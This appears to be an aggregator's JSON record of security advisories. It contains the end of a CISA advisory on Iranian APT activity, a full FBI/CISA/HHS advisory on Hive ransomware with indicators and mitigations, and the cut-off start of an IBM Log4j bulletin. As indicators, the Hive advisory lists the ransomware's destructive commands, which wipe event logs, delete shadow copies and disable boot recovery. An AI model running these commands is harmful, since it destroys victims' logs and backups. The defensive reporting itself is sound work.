4C691CCD811B868D1934B4B8E9ED6D5DB85EF35504F85D860E8FD84C547EBF1D \nSHA-512 | 6473DAC67B75194DEEAEF37103BBA17936F6C16FFCD2A7345A5A46756996FAD748A97F36F8FD4BE4E1F264ECE313773CC5596099D68E71344D8135F50E5D8971 \n**Filename:** | **Connector3.exe** \nMD5: | e64064f76e59dea46a0768993697ef2f \n**Filename:** | **Audio.exe or frpc.exe** \nMD5: | b90f05b5e705e0b0cb47f51b985f84db \nSHA-1 | 5bd0690247dc1e446916800af169270f100d089b \nSHA-256: | 28332bdbfaeb8333dad5ada3c10819a1a015db9106d5e8a74beaaf03797511aa \nVhash: | 017067555d5d15541az28!z \nAuthentihash: | ed463da90504f3adb43ab82044cddab8922ba029511da9ad5a52b8c20bda65ee \nImphash: | 93a138801d9601e4c36e6274c8b9d111 \nSSDEEP: | 98304:MeOuFco2Aate8mjOaFEKC8KZ1F4ANWyJXf/X+g4:MeHFV2AatevjOaDC8KZ1xNWy93U \nNote: | \n\nIdentical to \u201cfrpc.exe\u201d available at:\n\nhttps://github[.]com/fatedier/frp/releases/download/v0.34.3/frp_0.34.3_windows_amd64.zip \n \n**Filename:** | **Frps.exe** \nMD5: | 26f330dadcdd717ef575aa5bfcdbe76a \nSHA-1 | c4160aa55d092cf916a98f3b3ee8b940f2755053 \nSHA-256: | d7982ffe09f947e5b4237c9477af73a034114af03968e3c4ce462a029f072a5a \nVhash: | 017057555d6d141az25!z \nAuthentihash: | 40ed1568fef4c5f9d03c370b2b9b06a3d0bd32caca1850f509223b3cee2225ea \nImphash: | 91802a615b3a5c4bcc05bc5f66a5b219 \nSSDEEP: | 196608:/qTLyGAlLrOt8enYfrhkhBnfY0NIPvoOQiE:GLHiLrSfY5voO \nNote: | \n\nIdentical to \u201cfrps.exe\u201d available at: \n\nhttps://github[.]com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_windows_amd64.zip \n \n### APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES\n\nTable 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.\n\nTable 2: Observed Tactics and Techniques\n\nTactic | Technique \n---|--- \nResource Development [[TA0042](<https://attack.mitre.org/versions/v10/tactics/TA0042>)] | \n\nObtain Capabilities: Malware [[T1588.001](<https://attack.mitre.org/versions/v10/techniques/T1588/001>)] \n \nObtain Capabilities: Tool [[T1588.002](<https://attack.mitre.org/versions/v10/techniques/T1588/002>)] \n \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)] | \n\nExploit Public-Facing Application [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)] \n \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\n| \n\nScheduled Task/Job: Scheduled Task [[T1053.005](<https://attack.mitre.org/versions/v10/techniques/T1053/005>)] \n \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)] | \n\nCreate Account: Local Account [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>)] \n \nCreate Account: Domain Account [[T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)] \nPrivilege Escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)] | \n \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n\n| \nCollection [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009>)] | \n\nArchive Collected Data: Archive via Utility [[T1560.001](<https://attack.mitre.org/versions/v10/techniques/T1560/001>)] \n \nExfiltration [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010/>)] | \nImpact [[TA0040](<https://attack.mitre.org/versions/v10/tactics/TA0040>)] | Data Encrypted for Impact [[T1486](<https://attack.mitre.org/versions/v10/techniques/T1486>)] \n \n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at <https://www.fbi.gov/contact-us/field-offices>, or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [Central@cisa.dhs.gov](<mailto:Central@cisa.dhs.gov> \"Email CISA Central\" ). Australian organizations can visit [cyber.gov.au](<https://www.cyber.gov.au/>) or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.\n\n### Revisions\n\nNovember 17, 2021: Initial Version|November 19, 2021: Added STIX files\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-19T12:00:00", "type": "ics", "title": "Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-34473", "CVE-2022-42475", "CVE-2022-47966"], "modified": "2021-11-19T12:00:00", "id": "AA21-321A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-321a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-23T19:48:41", "description": "### Summary\n\nActions to Take Today to Mitigate Cyber Threats from Ransomware:\n\n\u2022 Prioritize remediating [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n\u2022 Enable and enforce multifactor authentication with strong passwords \n\u2022 Close unused ports and remove any application not deemed necessary for day-to-day operations.\n\n_Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit [stopransomware.gov](<https://www.cisa.gov/stopransomware>) to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources._\n\nThe Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known Hive IOCs and TTPs identified through FBI investigations as recently as November 2022.\n\nFBI, CISA, and HHS encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Victims of ransomware operations should report the incident to their local FBI field office or CISA.\n\nDownload the PDF version of this report: pdf, 852.9 kb.\n\nFor a downloadable copy of IOCs, see AA22-321A.stix (STIX, 43.6 kb).\n\n### Technical Details\n\n_Note: This advisory uses the MITRE ATT&CK\u00ae for Enterprise framework, version 12. See [MITRE ATT&CK for Enterprise](<https://attack.mitre.org/versions/v12/matrices/enterprise/>) for all referenced tactics and techniques._\n\nAs of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information. Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks. From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH).\n\nThe method of initial intrusion will depend on which affiliate targets the network. Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [[T1133](<https://attack.mitre.org/versions/v12/techniques/T1133/>)]. In some cases, Hive actors have bypassed multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>). This vulnerability enables a malicious cyber actor to log in without a prompt for the user\u2019s second authentication factor (FortiToken) when the actor changes the case of the username.\n\nHive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [[T1566.001](<https://attack.mitre.org/versions/v12/techniques/T1566/001/>)] and by exploiting the following vulnerabilities against Microsoft Exchange servers [[T1190](<https://attack.mitre.org/versions/v12/techniques/T1190/>)]:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability\n * [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>) \\- Microsoft Exchange Server Privilege Escalation Vulnerability\n\nAfter gaining access, Hive ransomware attempts to evade detention by executing processes to:\n\n * Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption [[T1562](<https://attack.mitre.org/versions/v12/techniques/T1562/001/>)].\n * Stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or via PowerShell [[T1059](<https://attack.mitre.org/versions/v12/techniques/T1059/>)] [[T1490](<https://attack.mitre.org/versions/v12/techniques/T1490/>)].\n * Delete Windows event logs, specifically the System, Security and Application logs [[T1070](<https://attack.mitre.org/versions/v12/techniques/T1070/>)].\n\nPrior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [[T1112](<https://attack.mitre.org/versions/v12/techniques/T1112/>)].\n\nHive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega.nz [[T1537](<https://attack.mitre.org/versions/v12/techniques/T1537/>)]. In addition to its capabilities against the Microsoft Windows operating system, Hive ransomware has known variants for Linux, VMware ESXi, and FreeBSD.\n\nDuring the encryption process, a file named *.key (previously *.key.*) is created in the root directory (C:\\ or /root/). Required for decryption, this key file only exists on the machine where it was created and cannot be reproduced. The ransom note, HOW_TO_DECRYPT.txt is dropped into each affected directory and states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered [[T1486](<https://attack.mitre.org/versions/v12/techniques/T1486/>)]. The ransom note contains a \u201csales department\u201d .onion link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files. However, some victims reported receiving phone calls or emails from Hive actors directly to discuss payment.\n\nThe ransom note also threatens victims that a public disclosure or leak site accessible on the TOR site, \u201cHiveLeaks\u201d, contains data exfiltrated from victim organizations who do not pay the ransom demand (see figure 1 below). Additionally, Hive actors have used anonymous file sharing sites to disclose exfiltrated data (see table 1 below).\n\n![](/sites/default/files/publications/How%20to%20Decrypt.png)\n\n_Figure 1: Sample Hive Ransom Note_\n\n_Table 1: Anonymous File Sharing Sites Used to Disclose Data_\n\nhttps://anonfiles[.]com \n \n--- \n \nhttps://mega[.]nz \n \nhttps://send.exploit[.]in \n \nhttps://ufile[.]io \n \nhttps://www.sendspace[.]com \n \nhttps://privatlab[.]net \n \nhttps://privatlab[.]com \n \nOnce the victim organization contacts Hive actors on the live chat panel, Hive actors communicate the ransom amount and the payment deadline. Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars. Hive actors demand payment in Bitcoin.\n\nHive actors have been known to reinfect\u2014with either Hive ransomware or another ransomware variant\u2014the networks of victim organizations who have restored their network without making a ransom payment.\n\n#### **Indicators of Compromise**\n\nThreat actors have leveraged the following IOCs during Hive ransomware compromises. Note: Some of these indicators are legitimate applications that Hive threat actors used to aid in further malicious exploitation. FBI, CISA, and HHS recommend removing any application not deemed necessary for day-to-day operations. See tables 2\u20133 below for IOCs obtained from FBI threat response investigations as recently as November 2022.\n\n_Table 2: Known IOCs as of November 2022_\n\nKnown IOCs - Files \n \n--- \n \nHOW_TO_DECRYPT.txt typically in directories with encrypted files \n \n*.key typically in the root directory, i.e., C:\\ or /root \n \nhive.bat \n \nshadow.bat \n \nasq.r77vh0[.]pw - Server hosted malicious HTA file \n \nasq.d6shiiwz[.]pw - Server referenced in malicious regsvr32 execution \n \nasq.swhw71un[.]pw - Server hosted malicious HTA file \n \nasd.s7610rir[.]pw - Server hosted malicious HTA file \n \nWindows_x64_encrypt.dll \n \nWindows_x64_encrypt.exe \n \nWindows_x32_encrypt.dll \n \nWindows_x32_encrypt.exe \n \nLinux_encrypt \n \nEsxi_encrypt \n \nKnown IOCs \u2013 Events \n \nSystem, Security and Application Windows event logs wiped \n \nMicrosoft Windows Defender AntiSpyware Protection disabled \n \nMicrosoft Windows Defender AntiVirus Protection disabled \n \nVolume shadow copies deleted \n \nNormal boot process prevented \n \nKnown IOCs \u2013 Logged Processes \n \nwevtutil.exe cl system \n \nwevtutil.exe cl security \n \nwevtutil.exe cl application \n \nvssadmin.exe delete shadows /all /quiet \n \nwmic.exe SHADOWCOPY /nointeractive \n \nwmic.exe shadowcopy delete \n \nbcdedit.exe /set {default} bootstatuspolicy ignoreallfailures \n \nbcdedit.exe /set {default} recoveryenabled no \n \n_Table 3: Potential IOC IP Addresses as of November 2022_ Note: Some of these observed IP addresses are more than a year old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action like blocking.\n\nPotential IOC IP Addresses for Compromise or Exfil: \n \n--- \n \n84.32.188[.]57\n\n| \n\n84.32.188[.]238 \n \n93.115.26[.]251\n\n| \n\n185.8.105[.]67 \n \n181.231.81[.]239\n\n| \n\n185.8.105[.]112 \n \n186.111.136[.]37\n\n| \n\n192.53.123[.]202 \n \n158.69.36[.]149\n\n| \n\n46.166.161[.]123 \n \n108.62.118[.]190\n\n| \n\n46.166.161[.]93 \n \n185.247.71[.]106\n\n| \n\n46.166.162[.]125 \n \n5.61.37[.]207\n\n| \n\n46.166.162[.]96 \n \n185.8.105[.]103\n\n| \n\n46.166.169[.]34 \n \n5.199.162[.]220\n\n| \n\n93.115.25[.]139 \n \n5.199.162[.]229\n\n| \n\n93.115.27[.]148 \n \n89.147.109[.]208\n\n| \n\n83.97.20[.]81 \n \n5.61.37[.]207\n\n| \n\n5.199.162[.]220 \n \n5.199.162[.]229;\n\n| \n\n46.166.161[.]93 \n \n46.166.161[.]123;\n\n| \n\n46.166.162[.]96 \n \n46.166.162[.]125\n\n| \n\n46.166.169[.]34 \n \n83.97.20[.]81\n\n| \n\n84.32.188[.]238 \n \n84.32.188[.]57\n\n| \n\n89.147.109[.]208 \n \n93.115.25[.]139;\n\n| \n\n93.115.26[.]251 \n \n93.115.27[.]148\n\n| \n\n108.62.118[.]190 \n \n158.69.36[.]149/span>\n\n| \n\n181.231.81[.]239 \n \n185.8.105[.]67\n\n| \n\n185.8.105[.]103 \n \n185.8.105[.]112\n\n| \n\n185.247.71[.]106 \n \n186.111.136[.]37\n\n| \n\n192.53.123[.]202 \n \n#### **MITRE ATT&CK TECHNIQUES**\n\nSee table 4 for all referenced threat actor tactics and techniques listed in this advisory.\n\nTable 4: Hive Actors ATT&CK Techniques for Enterprise\n\n_Initial Access_ \n \n--- \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nExternal Remote Services\n\n| \n\n[T1133](<https://attack.mitre.org/versions/v12/techniques/T1133/>)\n\n| \n\nHive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols. \n \nExploit Public-Facing Application\n\n| \n\n[T1190](<https://attack.mitre.org/versions/v12/techniques/T1190/>)\n\n| \n\nHive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321. \n \nPhishing\n\n| \n\n[T1566.001](<https://attack.mitre.org/versions/v12/techniques/T1566/001/>)\n\n| \n\nHive actors gain access to victim networks by distributing phishing emails with malicious attachments. \n \n_Execution_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nCommand and Scripting Interpreter\n\n| \n\n[T1059](<https://attack.mitre.org/versions/v12/techniques/T1059/>)\n\n| \n\nHive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or PowerShell. \n \n_Defense Evasion_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nIndicator Removal on Host\n\n| \n\n[T1070](<https://attack.mitre.org/versions/v12/techniques/T1070/>)\n\n| \n\nHive actors delete Windows event logs, specifically, the System, Security and Application logs. \n \nModify Registry\n\n| \n\n[T1112](<https://attack.mitre.org/versions/v12/techniques/T1112/>)\n\n| \n\nHive actors set registry values for DisableAntiSpyware and DisableAntiVirus to 1. \n \nImpair Defenses\n\n| \n\n[T1562](<https://attack.mitre.org/versions/v12/techniques/T1562/001/>)\n\n| \n\nHive actors seek processes related to backups, antivirus/anti-spyware, and file copying and terminates those processes to facilitate file encryption. \n \n_Exfiltration_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nTransfer Data to Cloud Account\n\n| \n\n[T1537](<https://attack.mitre.org/versions/v12/techniques/T1537/>)\n\n| \n\nHive actors exfiltrate data from victims, using a possible combination of Rclone and the cloud storage service Mega.nz. \n \n_Impact_ \n \nTechnique Title\n\n| \n\n| \n\nUse \n \nData Encrypted for Impact\n\n| \n\n[T1486](<https://attack.mitre.org/versions/v12/techniques/T1486/>)\n\n| \n\nHive actors deploy a ransom note HOW_TO_DECRYPT.txt into each affected directory which states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered. \n \nInhibit System Recovery\n\n| \n\n[T1490](<https://attack.mitre.org/versions/v12/techniques/T1490/>)\n\n| \n\nHive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin via command line or PowerShell. \n \n### Mitigations\n\nFBI, CISA, and HHS recommend organizations, particularly in the HPH sector, implement the following to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Hive ransomware:\n\n * Verify Hive actors no longer have access to the network.\n * Install updates for operating systems, software, and firmware as soon as they are released. Prioritize patching VPN servers, remote access software, virtual machine software, and [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). Consider leveraging a centralized patch management system to automate and expedite the process.\n * Require [phishing-resistant MFA](<https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf>) for as many services as possible\u2014particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.\n * If used, secure and monitor RDP. \n * Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure.\n * After assessing risks, if you deem RDP operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse.\n * If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.\n * Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.\n * Be sure to properly configure devices and enable security features.\n * Disable ports and protocols not used for business purposes, such as RDP Port 3389/TCP.\n * Maintain offline backups of data, and regularly maintain backup and restoration. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.\n * Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization\u2019s data infrastructure. Ensure your backup data is not already infected.,\n * Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable.\n * Install and regularly update anti-virus or anti-malware software on all hosts.\n * Enable PowerShell Logging including module logging, script block logging and transcription.\n * Install an enhanced monitoring tool such as Sysmon from Microsoft for increased logging.\n * Review the following additional resources. \n * The joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>) provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.\n * The Cybersecurity and Infrastructure Security Agency-Multi-State Information Sharing & Analysis Center [Joint Ransomware Guide](<https://www.cisa.gov/stopransomware/ransomware-guide>) covers additional best practices and ways to prevent, protect, and respond to a ransomware attack.\n * [StopRansomware.gov](<https://www.cisa.gov/stopransomware>) is the U.S. Government\u2019s official one-stop location for resources to tackle ransomware more effectively.\n\nIf your organization is impacted by a ransomware incident, FBI, CISA, and HHS recommend the following actions.\n\n * **Isolate the infected system**. Remove the infected system from all networks, and disable the computer\u2019s wireless, Bluetooth, and any other potential networking capabilities. Ensure all shared and networked drives are disconnected.\n * **Turn off other computers and devices**. Power-off and segregate (i.e., remove from the network) the infected computer(s). Power-off and segregate any other computers or devices that share a network with the infected computer(s) that have not been fully encrypted by ransomware. If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted. Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists.\n * **Secure your backups**. Ensure that your backup data is offline and secure. If possible, scan your backup data with an antivirus program to check that it is free of malware.\n\nIn addition, FBI, CISA, and HHS urge all organizations to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.\n\n#### **Preparing for Cyber Incidents**\n\n * **Review the security posture of third-party vendors and those interconnected with your organization**. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.\n * **Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs** under an established security policy.\n * **Document and monitor external remote connections**. Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.\n * **Implement a recovery plan** to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).\n\n#### **Identity and Access Management**\n\n * **Require all accounts** with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with [National Institute of Standards and Technology (NIST) standards](<https://pages.nist.gov/800-63-3/>) for developing and managing password policies. \n * Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.\n * Store passwords in hashed format using industry-recognized password managers.\n * Add password user \u201csalts\u201d to shared login credentials.\n * Avoid reusing passwords.\n * Implement multiple failed login attempt account lockouts.\n * Disable password \u201chints.\u201d\n * Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised. \nNote: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password \u201cpatterns\u201d cyber criminals can easily decipher.\n * Require administrator credentials to install software.\n * **Require phishing-resistant multifactor authentication** for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.\n * **Review domain controllers, servers, workstations, and active directories** for new and/or unrecognized accounts.\n * **Audit user accounts** with administrative privileges and configure access controls according to the principle of least privilege.\n * **Implement time-based access for accounts set at the admin level and higher**. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. \n\n#### **Protective Controls and Architecture**\n\n * **Segment networks** to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between\u2014and access to\u2014various subnetworks and by restricting adversary lateral movement.\n * **Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool**. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.\n * Install, regularly update, and enable real time detection for antivirus software on all hosts.\n\nVulnerability and Configuration Management\n\n * **Consider adding an email banner to emails** received from outside your organization.\n * **Disable command-line and scripting activities and permissions**. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.\n * **Ensure devices are properly configured and that security features are enabled**. \n * **Restrict Server Message Block (SMB) Protocol within the network to only access necessary servers and remove or disable outdated versions of SMB** (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.\n\n#### **REFERENCES**\n\n * [Stopransomware.gov](<http://www.stopransomware.gov/>) is a whole-of-government approach that gives one central location for ransomware resources and alerts.\n * Resource to mitigate a ransomware attack: [CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide](<https://www.cisa.gov/sites/default/files/publications/CISA_MS-ISAC_Ransomware%20Guide_S508C.pdf>).\n * No-cost cyber hygiene services: [Cyber Hygiene Services](<https://www.cisa.gov/cyber-hygiene-services>) and [Ransomware Readiness Assessment](<https://github.com/cisagov/cset/>).\n\n#### **INFORMATION REQUESTED**\n\nThe FBI, CISA, and HHS do not encourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Paying the ransom also does not guarantee that a victim\u2019s files will be recovered. However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers. Regardless of whether you or your organization decide to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to your [local FBI field office](<https://www.fbi.gov/contact-us/field-offices>), or to CISA at [report@cisa.gov](<mailto:report@cisa.gov>) or (888) 282-0870. Doing so provides investigators with the critical information they need to track ransomware attackers, hold them accountable under US law, and prevent future attacks. \n\nThe FBI may seek the following information that you determine you can legally share, including:\n\n * Recovered executable files\n * Live random access memory (RAM) capture\n * Images of infected systems\n * Malware samples\n * IP addresses identified as malicious or suspicious\n * Email addresses of the attackers\n * A copy of the ransom note\n * Ransom amount\n * Bitcoin wallets used by the attackers\n * Bitcoin wallets used to pay the ransom\n * Post-incident forensic reports\n\n#### DISCLAIMER\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS.\n\n### Revisions\n\nInitial Version: November 17, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-25T12:00:00", "type": "ics", "title": "#StopRansomware: Hive Ransomware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-42321", "CVE-2022-42475", "CVE-2022-47966"], "modified": "2022-11-25T12:00:00", "id": "AA22-321A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-321a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ibm": [{"lastseen": "2023-05-23T17:58:45", "description": "## Summary\n\nVulnerabilities in Apache Log4j could result in a denial of service or remote code execution. These vulnerabilities may affect the Help system in IBM Spectrum Protect Operations Center. The below fix packages include Apache Log4j 2.17\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Spectrum Protect Operations Center| 